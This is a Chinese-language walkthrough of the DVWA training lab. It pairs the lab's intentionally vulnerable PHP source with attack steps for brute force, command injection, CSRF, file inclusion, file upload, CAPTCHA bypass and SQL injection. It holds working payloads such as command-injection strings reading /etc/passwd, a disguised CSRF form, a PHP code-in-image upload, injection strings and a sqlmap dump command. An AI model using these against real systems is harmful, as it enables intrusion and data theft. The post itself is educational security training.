DVWA通关手册
发表于：2021-04-15 | 分类： Web安全

DVWA通关手册

Brute Force

登录界面

image-20210425163130153

Low

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<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

  • 使用Burp Suit抓包

    image-20210425163429574

  • Send to intruder

    image-20210425163500449

  • 选择密码位置

    image-20210425163605602

  • 上字典

    image-20210425164245642

  • 根据返回长度判断正确密码

    image-20210425171021802

Medium

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<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>
  • 加入了参数的判断，防止部分SQL注入，加入sleep(2)
  • 没有防爆破机制，操作同Low等级

High

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<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

  • 加入Anti-CSRF token机制，验证本次请求中是否包含上一个回应中的token

  • 抓包分析

    image-20210425174153220

  • Send to intruder，选择position，两个爆破位应使用Pitchfork模式

    image-20210425174257108

  • option中选择Grep-Extract，添加回应包中的token值

    image-20210425174734492

  • 第一个位置应用字典，第二个位置应用grep内容，并初始化token值

image-20210425175021711

  • Start attack，一样看长度

image-20210425175428340

Command Injection

image-20210425175815201

源码

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#Command Injection

#Impossible Command Injection Source
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

#High Command Injection Source
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

#Medium Command Injection Source
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

#Low Command Injection Source
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

Low

  • 127.0.0.1

    image-20210425180350690

  • 127.0.0.1&& whoami

    image-20210425180709539

  • 127.0.0.1&& pwd

    image-20210425182713991

  • 127.0.0.1&&ls …/…/

    image-20210425183108288

  • 127.0.0.1&&cat …/…/php.ini

    image-20210425183656452

  • 127.0.0.1&&cat /etc/passwd

    image-20210425183851680

Medium

  • 127.0.0.1& ls

    image-20210425184026503

  • 127.0.0.1& cat /etc/passwd

    image-20210425184132006

High

  • 127.0.0.1 |ls

image-20210425184427077

Cross Site Request Forgery (CSRF)

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# CSRF

# Impossible CSRF Source
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

# High CSRF Source
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

# Medium CSRF Source
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

# Low CSRF Source
<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Low

  • 做个网页
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<!DOCTYPE html>
<html>
<head>
    <title>是兄弟就来砍我</title>
</head>
<body>
    <center>
        <form action="http://192.168.23.133/dvwa/vulnerabilities/csrf/" method="get">
            <p><input type="hidden" name="password_new" value="123"/></p>
            <p><input type="hidden" name="password_conf" value="123"/></p>
            <p><input type="hidden" name="Change" value="Change"/></p>
            <input type="submit" value="是兄弟就来砍我">
        </form>
	<p style="font-size:40px;">404</p>
	<p style="font-size:20px;">Page not Found!</p>
    </center>
</body>
</html>
  • 包信息
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GET /dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change HTTP/1.1
Host: 192.168.23.133
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.23.133/dvwa/vulnerabilities/csrf/
Cookie: security=medium; PHPSESSID=otpvh75rdm983qnfc0scstgns0
Upgrade-Insecure-Requests: 1

Medium

  • Low方法失效，对比正常请求的包，发现包中添加了
1
Referer: http://192.168.23.133/dvwa/vulnerabilities/csrf/

解决方案是将csrf网页部署在目标服务器IP作为的路径下。

High

  • 需要配合XSS攻击

File Inclusion

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//File Inclusion

//Impossible File Inclusion Source
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

//High File Inclusion Source
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

//Medium File Inclusion Source
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

//Low File Inclusion Source
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

Low

  • GET方法传参，直接修改网址，查看/etc/passwd
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?page=/etc/passwd

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:999:998:User for polkitd:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin chrony:x:998:996::/var/lib/chrony:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin dockerroot:x:997:994:Docker User:/var/lib/docker:/sbin/nologin

Medium

  • 过滤了 “http://”, “https://”，“…/","…\"

  • 可以构造"httphttp://😕/"异形路径

  • 同Low等级

High

  • 加入黑名单机制，参数只能以file开头

  • 构造参数

1
?page=file:///etc/passwd
  • 使用file协议访问本地文件

File Upload

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//File Upload

//Impossible File Upload Source
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

//High File Upload Source
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

//Medium File Upload Source
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

//Low File Upload Source
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

Low

  • 随便上传，无限制

Medium

  • 限制文件类型，但是可以改包上传Content-Type: image/png
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POST /dvwa/vulnerabilities/upload/ HTTP/1.1

Host: 192.168.23.133

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------24238774263872546046514723521

Content-Length: 977

Origin: http://192.168.23.133

Connection: close

Referer: http://192.168.23.133/dvwa/vulnerabilities/upload/

Cookie: security=low; PHPSESSID=otpvh75rdm983qnfc0scstgns0

Upgrade-Insecure-Requests: 1



-----------------------------24238774263872546046514723521

Content-Disposition: form-data; name="MAX_FILE_SIZE"



100000

-----------------------------24238774263872546046514723521

Content-Disposition: form-data; name="uploaded"; filename="a.txt"

Content-Type: image/png
  • txt上传成功
1
../../hackable/uploads/a.txt succesfully uploaded!

High

  • 加入内容检测和文件类型检测
  • 通过在图片中加入一句话木马实现上传
1
echo "<? phpinfo() ?>" >>th.jpeg 
1
../../hackable/uploads/th.jpeg succesfully uploaded!
  • 通过文件包含漏洞解析上传图片
1
?page=file:///var/www/html/dvwa//hackable/uploads/th.jpeg

image-20210427184134233

Insecure CAPTCHA

Low

  • 修改包的参数step=2即可。
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step=2&password_new=123&password_conf=123&Change=Change

Password Changed.

Medium

  • 修改包的参数step=2。
  • 查看源码得知新变量passed_captcha，谷歌返回情况，将其POST为true。
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step=2&password_new=123&password_conf=123&Change=Change&passed_captcha=true

High

  • 添加如下信息至包中
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User-Agent: reCAPTCHA
step=1&password_new=123&password_conf=123&user_token=2143b157158c8dce48d7b94d045bad71&Change=Change&g-recaptcha-response=hidd3n_valu3

SQL Injection

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//SQL Injection

//Impossible SQL Injection Source
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

//High SQL Injection Source
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?>

//Medium SQL Injection Source
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

//Low SQL Injection Source
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

Low

特点：GET

  • 1
  • 1’//wrong
  • 1’ or 1=1–
  • 1’ union select 1,database()–
  • sqlmap
1
sqlmap -u "http://0.0.0.0/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=cqve1uen4svrvfnlga3j892sb4" -D dvwa -T users -C user,password --dump

Medium

特点：POST

  • 手工注入
  • id=1 union select 1,table_name from information_schema=dvwa–
  • HEX加密关键字
  • id=1 union select 1,table_name from information_schema=0x64767761–
